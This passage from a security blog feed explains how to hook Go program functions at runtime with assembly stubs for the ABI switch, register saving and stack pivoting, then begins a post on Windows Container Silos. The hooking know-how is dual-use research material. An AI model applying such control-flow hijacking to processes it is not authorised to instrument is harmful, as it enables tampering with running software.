<span class="mh">0x7fc34b9e402c</span><span class="o">:</span><span class="w"> </span><span class="n">ret</span><span class="w"></span>
</code></pre></div>
<p>We can see the trampoline section from our scheme. The last part (the execution of the overwritten instructions and the jump to the next instruction) is the same, but the first part is not. The trampoline calls into something located at <code>0x7fc34b9e782d</code>. But what's at this address ? To answer that, let's
first talk about the difference between the ABI of Go and C.</p>
<h3>Hook Insertion — ABI Switch</h3>
<p>Go and C have two different ABIs. Hence, if we want to call into a C function from Go we need to switch the ABI. As of the time of writing, Go uses a register-based ABI. We need to translate it to the C ABI (also known as <a href="https://wiki.osdev.org/System_V_ABI">System V</a>). Here we have only two arguments—the pointer to the bytes of the string (in <code>RAX</code>) and its size (in <code>RBX</code>). </p>
<p>But how is the ABI of the <code>toUpper</code> function arranged in the <em>Guest</em>? </p>
<div class="highlight"><pre><span></span><code><span class="nf">Dump</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">assembler</span><span class="w"> </span><span class="no">code</span><span class="w"> </span><span class="no">for</span><span class="w"> </span><span class="no">function</span><span class="w"> </span><span class="no">toUpper</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711d9</span><span class="w"> </span><span class="err"><+</span><span class="mi">0</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711da</span><span class="w"> </span><span class="err"><+</span><span class="mi">1</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711dd</span><span class="w"> </span><span class="err"><+</span><span class="mi">4</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">rdi</span><span class="w"> </span><span class="c1">; rdi contains the pointer to the bytes of the Go string</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711e0</span><span class="w"> </span><span class="err"><+</span><span class="mi">7</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="no">rsi</span><span class="w"> </span><span class="c1">; rsi contains the length of the the Go string</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711e3</span><span class="w"> </span><span class="err"><+</span><span class="mi">10</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="no">rcx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711e6</span><span class="w"> </span><span class="err"><+</span><span class="mi">13</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">],</span><span class="no">rax</span><span class="w"> </span><span class="c1">; save the pointer to the Go string data</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711ea</span><span class="w"> </span><span class="err"><+</span><span class="mi">17</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x18</span><span class="p">],</span><span class="no">rdx</span><span class="w"> </span><span class="c1">; save the length of the Go string data</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711ee</span><span class="w"> </span><span class="err"><+</span><span class="mi">21</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711f2</span><span class="w"> </span><span class="err"><+</span><span class="mi">25</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x10</span><span class="p">],</span><span class="no">rax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711f6</span><span class="w"> </span><span class="err"><+</span><span class="mi">29</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="mi">0x0</span><span class="w"> </span><span class="c1">; the i varaible</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711fd</span><span class="w"> </span><span class="err"><+</span><span class="mi">36</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">jmp</span><span class="w"> </span><span class="mh">0x7fada9d71227</span> <span class="p"><</span><span class="no">toUpper</span><span class="p">+</span><span class="mi">78</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d711ff</span><span class="w"> </span><span class="err"><+</span><span class="mi">38</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"> </span><span class="c1">; the beginning of the loop modifying the string</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71202</span><span class="w"> </span><span class="err"><+</span><span class="mi">41</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">movsxd</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71205</span><span class="w"> </span><span class="err"><+</span><span class="mi">44</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x10</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71209</span><span class="w"> </span><span class="err"><+</span><span class="mi">48</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d7120c</span><span class="w"> </span><span class="err"><+</span><span class="mi">51</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">movzx</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rax</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d7120f</span><span class="w"> </span><span class="err"><+</span><span class="mi">54</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">ecx</span><span class="p">,[</span><span class="no">rax-0x20</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71212</span><span class="w"> </span><span class="err"><+</span><span class="mi">57</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71215</span><span class="w"> </span><span class="err"><+</span><span class="mi">60</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">movsxd</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71218</span><span class="w"> </span><span class="err"><+</span><span class="mi">63</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x10</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d7121c</span><span class="w"> </span><span class="err"><+</span><span class="mi">67</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d7121f</span><span class="w"> </span><span class="err"><+</span><span class="mi">70</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">ecx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71221</span><span class="w"> </span><span class="err"><+</span><span class="mi">72</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rax</span><span class="p">],</span><span class="no">dl</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71223</span><span class="w"> </span><span class="err"><+</span><span class="mi">74</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="mi">0x1</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71227</span><span class="w"> </span><span class="err"><+</span><span class="mi">78</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"> </span>
<span class="w"> </span><span class="mi">0x00007fada9d7122a</span><span class="w"> </span><span class="err"><+</span><span class="mi">81</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">movsxd</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d7122d</span><span class="w"> </span><span class="err"><+</span><span class="mi">84</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x18</span><span class="p">]</span><span class="w"> </span><span class="c1">; get the length of the Go string</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71231</span><span class="w"> </span><span class="err"><+</span><span class="mi">88</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">cmp</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="no">rax</span><span class="w"> </span><span class="c1">; compare it with the i variable</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71234</span><span class="w"> </span><span class="err"><+</span><span class="mi">91</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">jl</span><span class="w"> </span><span class="mh">0x7fada9d711ff</span> <span class="p"><</span><span class="no">toUpper</span><span class="p">+</span><span class="mi">38</span><span class="p">></span><span class="w"> </span><span class="c1">; jump into the loop</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71236</span><span class="w"> </span><span class="err"><+</span><span class="mi">93</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">nop</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71237</span><span class="w"> </span><span class="err"><+</span><span class="mi">94</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">nop</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71238</span><span class="w"> </span><span class="err"><+</span><span class="mi">95</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">pop</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00007fada9d71239</span><span class="w"> </span><span class="err"><+</span><span class="mi">96</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">ret</span><span class="w"></span>
</code></pre></div>
<p>We can see that the pointer to the Go string data is expected to be in <code>RDI</code> while its size is in <code>RSI</code>. So the transition that we need to do is simple — <code>RAX->RDI</code> and <code>RBX—>RSI</code>. This should be done before calling into the C function and after inserting the JUMP stub. This logic can be either located on the heap or as part of the code segment of the shared library. Here is the simple assembly stub performing the ABI switch:</p>
<div class="highlight"><pre><span></span><code><span class="nl">ABI_SWITCH:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rdi</span><span class="p">,</span><span class="w"> </span><span class="no">rax</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rsi</span><span class="p">,</span><span class="w"> </span><span class="no">rbx</span><span class="w"></span>
<span class="nl">CALL_C_FUNC:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">r9</span><span class="p">,</span><span class="w"> </span><span class="err"><</span><span class="no">address-of-toUpper</span><span class="err">></span><span class="w"></span>
<span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">r9</span><span class="w"></span>
<span class="nl">ABI_RESTORE:</span><span class="w"></span>
<span class="w"> </span><span class="c1">; nothing to be done</span>
</code></pre></div>
<p>We are almost there! However, in C there are the notions of callee and caller saved registers. In other words, we should save all register that C code would eventually clobber and restore them before the execution of the overwritten instructions in the trampoline section. In the <em>System V</em> ABI these are <code>RAX, RCX, RDX, RSI, RDI, R8, R9, R10, R11</code>, so we extend the above logic with the following:</p>
<div class="highlight"><pre><span></span><code><span class="nl">SAVE_CTX:</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">rax</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">rcx</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">rdi</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">rsi</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">r8</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">r9</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">r10</span><span class="w"></span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">r11</span><span class="w"></span>
<span class="nl">ABI_SWITCH:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">CALL_C_FUNC:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">ABI_RESTORE:</span><span class="w"></span>
<span class="nl">RESTORE_CTX:</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">r11</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">r10</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">r9</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">r8</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">rsi</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">rdi</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">rcx</span><span class="w"></span>
<span class="w"> </span><span class="nf">pop</span><span class="w"> </span><span class="no">rax</span><span class="w"></span>
</code></pre></div>
<p>Note: If the hook was returning a result the ABI restore logic should be adapted accordingly. Now if we jump to the <code>SAVE_CTX</code> segment, it should be fine? Well, not quite - we could run out of stack space! </p>
<h3>Hook insertion — Stack Pivot</h3>
<p>In the beginning of the <code>theGuessingGame</code> function, we had a prologue of four bytes:</p>
<div class="highlight"><pre><span></span><code><span class="err">0</span><span class="nf">x00000000004939c0</span><span class="w"> </span><span class="err"><+</span><span class="mi">0</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">cmp</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">r14</span><span class="err">+</span><span class="mi">0x10</span><span class="p">]</span><span class="w"> </span><span class="c1">; retrieves the goroutine structure of the current thread</span>
<span class="err">0</span><span class="nf">x00000000004939c4</span><span class="w"> </span><span class="err"><+</span><span class="mi">4</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">jbe</span><span class="w"> </span><span class="mh">0x493a94</span> <span class="p"><</span><span class="no">main.theGuessingGame</span><span class="p">+</span><span class="mi">212</span><span class="p">></span><span class="w"></span>
<span class="na">...</span><span class="w"></span>
</code></pre></div>
<p>If we follow the jump, we end up here:</p>
<div class="highlight"><pre><span></span><code><span class="err">0</span><span class="nf">x0000000000493a94</span><span class="w"> </span><span class="err"><+</span><span class="mi">212</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">0x8</span><span class="p">],</span><span class="no">rax</span><span class="w"> </span><span class="c1">; save the first argument on the stack</span>
<span class="err">0</span><span class="nf">x0000000000493a99</span><span class="w"> </span><span class="err"><+</span><span class="mi">217</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">0x10</span><span class="p">],</span><span class="no">rbx</span><span class="w"> </span><span class="c1">; save the second argument on the stack</span>
<span class="err">0</span><span class="nf">x0000000000493a9e</span><span class="w"> </span><span class="err"><+</span><span class="mi">222</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">xchg</span><span class="w"> </span><span class="no">ax</span><span class="p">,</span><span class="no">ax</span><span class="w"> </span>
<span class="mi">0x0000000000493aa0</span><span class="w"> </span><span class="err"><+</span><span class="mi">224</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="mh">0x45d8c0</span> <span class="p"><</span><span class="no">runtime.morestack_noctxt</span><span class="p">></span><span class="w"> </span><span class="c1">; increase the size of the stack and update its limit in the goroutine structure</span>
<span class="err">0</span><span class="nf">x0000000000493aa5</span><span class="w"> </span><span class="err"><+</span><span class="mi">229</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">0x8</span><span class="p">]</span><span class="w"> </span><span class="c1">; restore the first argument</span>
<span class="err">0</span><span class="nf">x0000000000493aaa</span><span class="w"> </span><span class="err"><+</span><span class="mi">234</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbx</span><span class="p">,</span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">0x10</span><span class="p">]</span><span class="w"> </span><span class="c1">; restore the second argument</span>
<span class="err">0</span><span class="nf">x0000000000493aaf</span><span class="w"> </span><span class="err"><+</span><span class="mi">239</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">jmp</span><span class="w"> </span><span class="mh">0x4939c0</span> <span class="p"><</span><span class="no">main.theGuessingGame</span><span class="p">></span><span class="w"> </span><span class="c1">; continue the execution from the beginning</span>
</code></pre></div>
<p>In Go, the goroutines stacks are resizable and points to the heap. The system stack is used only by some components of the runtime. These instructions are actually verifying the size of the current goroutine stack (R14 contains a pointer to the goroutine structure and at offset <code>0x10</code> is located the stack limit called <code>stackguard</code>). If there is not enough stack space, the <code>runtime.morestack_noctxt</code> is called to increase the stack. In this function the runtime will allocate the correct amount of stack space based on the stack maps (description of the stack space of the current function used to allocate and free memory) inserted by the compiler.
The goroutine stacks are small (2Kb). Theoretically, if we hijack the control flow before a stack resizing we could end up with not enough stack to store the registers and execute the hook code which will also use this stack (imagine if <code>toUpper</code> function allocated 3000 bytes on its stack).
To solve that we could pivot the stack into a new RW region before calling into the C function (and before saving the registers) and restore the old stack afterwards. The allocation of the memory for the new stack is done when loading the <em>Guest</em>. Here is the stack pivoting logic:</p>
<div class="highlight"><pre><span></span><code><span class="nl">STACK_PIVOT:</span><span class="w"></span>
<span class="w"> </span><span class="c1">; save the current G stack in memory</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">r9</span><span class="p">,</span><span class="w"> </span><span class="err"><</span><span class="no">addr-to-store-g-stack</span><span class="err">></span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="p">[</span><span class="no">r9</span><span class="p">],</span><span class="w"> </span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="c1">; load the new stack and pivot it (atomic swap)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">r9</span><span class="p">,</span><span class="w"> </span><span class="err"><</span><span class="no">addr-new-stack</span><span class="err">></span><span class="w"></span>
<span class="w"> </span><span class="nf">xchg</span><span class="w"> </span><span class="no">r9</span><span class="p">,</span><span class="w"> </span><span class="no">rsp</span><span class="w"></span>
<span class="nl">SAVE_CTX:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">ABI_SWITCH:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">CALL_C_FUNC:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">ABI_RESTORE:</span><span class="w"></span>
<span class="nl">RESTORE_CTX:</span><span class="w"></span>
<span class="w"> </span><span class="na">...</span><span class="w"></span>
<span class="nl">STACK_PIVOT_REV:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">r9</span><span class="p">,</span><span class="w"> </span><span class="err"><</span><span class="no">addr-stack-backup</span><span class="err">></span><span class="w"></span>
<span class="w"> </span><span class="nf">xchg</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">r9</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="nf">ret</span><span class="w"></span>
</code></pre></div>
<p>For the ones paying close attention, there is a potential flow in this assembly logic. What if the target function in the <em>Host</em> was using stack space inferior to eight bytes (even if that’s not the case really)?
Don’t forget that the compiler has not predicted our intervention into the execution flow! Hence, what if pushing R9 overflows the current stack? Don’t worry—Go has us covered ;) As we said earlier, the check of the limit is done against a member of the goroutine struct called <a href="https://go.dev/src/runtime/stack.go"><code>stackguard</code></a> which can be seen is the bottom of the stack. However, this <code>stackguard</code> is not the real stack limit of the goroutine. The Go runtime will allow a certain number of bytes (a constant defined as <code>StackSmall=128</code>[bytes]) to protrude beyond this limit (also called spill zone). This tiny space can be used by functions with small or zero sized stack frames which don’t need to resize their stacks or perform additional checks (it’s also used for optimization). <a href="https://github.com/golang/go/blob/master/src/runtime/msan_amd64.s">Examples</a> of this kind of function (mostly written in assembly) can be found mostly in the runtime package (the ones annotated with <code>NOSPLIT</code>). So theoretically there should be enough space to push the R9 register.</p>
<p>Now everything looks fine, right? It is, and the hook logic will work. Now we know what's at the <a href="#inserting-the-jump-stub-and-saving-the-overwritten-instructions">address 0x7fc34b9e782d</a> in the trampoline section - the address of the STACK_PIVOT stub.
However, there is another small problem that could theoretically arise, and we should be ready for it.</p>
<h3>Hook Insertion — Mitigating Concurrency Issues</h3>
<p>Our toy program is quite simple but, in general, Go programs tend to be highly concurrent. Hence, the above sequence of stubs introduce reentrancy problems — if two goroutines execute the same function and get both redirected, they could end up with inverse stacks! This scenario would also break our assumptions on the safeties of the execution of C code as the second goroutine could end up using the small stack of the first one. This problem can be illustrated by adding the following code to the existing program:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="o">...</span><span class="w"></span>
<span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">strings</span><span class="p">.</span><span class="nx">ToLower</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">go</span><span class="w"> </span><span class="nx">theGuessingGame</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">theGuessingGame</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>It’s not the most interesting example, but it should do the job for you to understand the problem.</p>
<p>To solve this we could use, for example, a simple semaphore introducing a busy wait. This is left as an exercise for the reader.</p>
<p>A working PoC of the above can be found <a href="https://github.com/quarkslab/hooking-golang-playground/tree/main/part-1">here</a>. </p>
<h3>Limitations of the Above Approach</h3>
<p>The above approach works on simple programs and sadly is quite architecture and platform dependent.
Here are some of the limitations of this approach:</p>
<ul>
<li>On Windows the ABI is different, so the above code will not function.</li>
<li>The used assembly snippets are for x86-64. For other architectures such as ARM or MIPS, the above will not work.</li>
<li>All Go types and respective offsets have to be manually defined in the C header.</li>
<li>The above approach introduces heavy concurrency issues. </li>
</ul>
<h2>Why implement runtime hooks written in Golang?</h2>
<p>In the beginning we implemented our hooks in C using pure assembly (oh yes, we suffered a lot, but we made it). This was fine for small programs working with primitive data types. After that we started looking to apply our methodology to big projects such as <em>Docker</em> and <em>Containerd</em>, and then we realized that it was quite difficult and annoying. These programs were using complex data structures, some of which were only available in Go and not in C (e.g. channels, interfaces, slices, etc.). Hence, being able to manipulate these structures in C or assembly was a complex task. So we decided to facilitate our lives as much as
possible and write the logic of our hooks in Go. In addition, we wanted to dive deep into the internals
of the programming language and explore its true capabilities.</p>
<h1>Conclusion</h1>
<p>In this blogpost, we illustrated our first effort to define a hooking scheme for Go programs.
We explored and understood quite interesting internals of the language while implementing a
hook using C and assembly.
However, we want to manipulate Go types with more ease. We also want something more universal, something that can be adapted to different platforms and CPU architectures. Happily (or not) the
rabbit hole goes deeper ;)</p>
<h1>Resources</h1>
<ul>
<li><a href="https://www.trellix.com/en-us/assets/docs/atr-library/tr-function-hooking-for-recon-and-exploitation.pdf">Function Hooking for Recon and Exploitation</a></li>
<li><a href="https://go.googlesource.com/go/+/refs/heads/dev.regabi/src/cmd/compile/internal-abi.md">Go register based ABI</a></li>
<li><a href="https://en.wikipedia.org/wiki/X86_calling_conventions">x86-64 Calling convention (C’s ABI)</a></li>
<li><a href="https://github.com/golang/go">Golang language source code</a></li>
<li><a href="https://golangbot.com/goroutines/">Goroutines</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/ptrace.2.html">Linux’s PTRACE API</a></li>
<li><a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">Linux capabilities</a></li>
<li><a href="https://embeddedartistry.com/fieldmanual-terms/position-independent-code/#:~:text=Description,be%20located%20anywhere%20in%20memory">Position independent code</a></li>
</ul>Reversing Windows Container, episode I: Silo2023-09-21T00:00:00+02:002023-09-21T00:00:00+02:00Lucas Di Martinotag:blog.quarkslab.com,2023-09-21:/reversing-windows-container-episode-i-silo.html<p>This article presents the internals of Windows Container.</p><h2><a href="#introduction">Introduction</a></h2>
<p>This article is the first one of a series about <strong>Silos</strong> and <strong>Server Silos</strong>, the underlying Windows technology for <strong>Windows Containers</strong>.
In this article, we'll look at the mechanisms involved in creating a <strong>Silo</strong>, mainly from a user-land point of view.</p>
<p>The main objective of this study is to better understand how <strong>Windows Containers</strong> are created. Indeed, containers are used to easily deploy applications, or to isolate processes. For instance, <strong>Docker</strong> on <strong>Windows</strong>, when creating a container, actually creates a <strong>Server Silo</strong>. A clear understanding of how they are created, what objects they are composed of, is a good starting point for analyzing the attack surface. Moreover, throughout this article, we'll be presenting code snippets of the various steps involved in creating a <strong>Silo</strong>. This code was written with the aim of reproducing the creation of a <strong>Silo</strong> using only <strong>Windows APIs</strong>, and can be found in the <a href="#code_silo">annexes</a>.</p>
<p>Before diving deeper into this analysis, let's try to define what they are.</p>
<p>First, let's see the difference between a <strong>Virtual Machine (VM)</strong> and a <strong>Container</strong>.</p>
<ul>
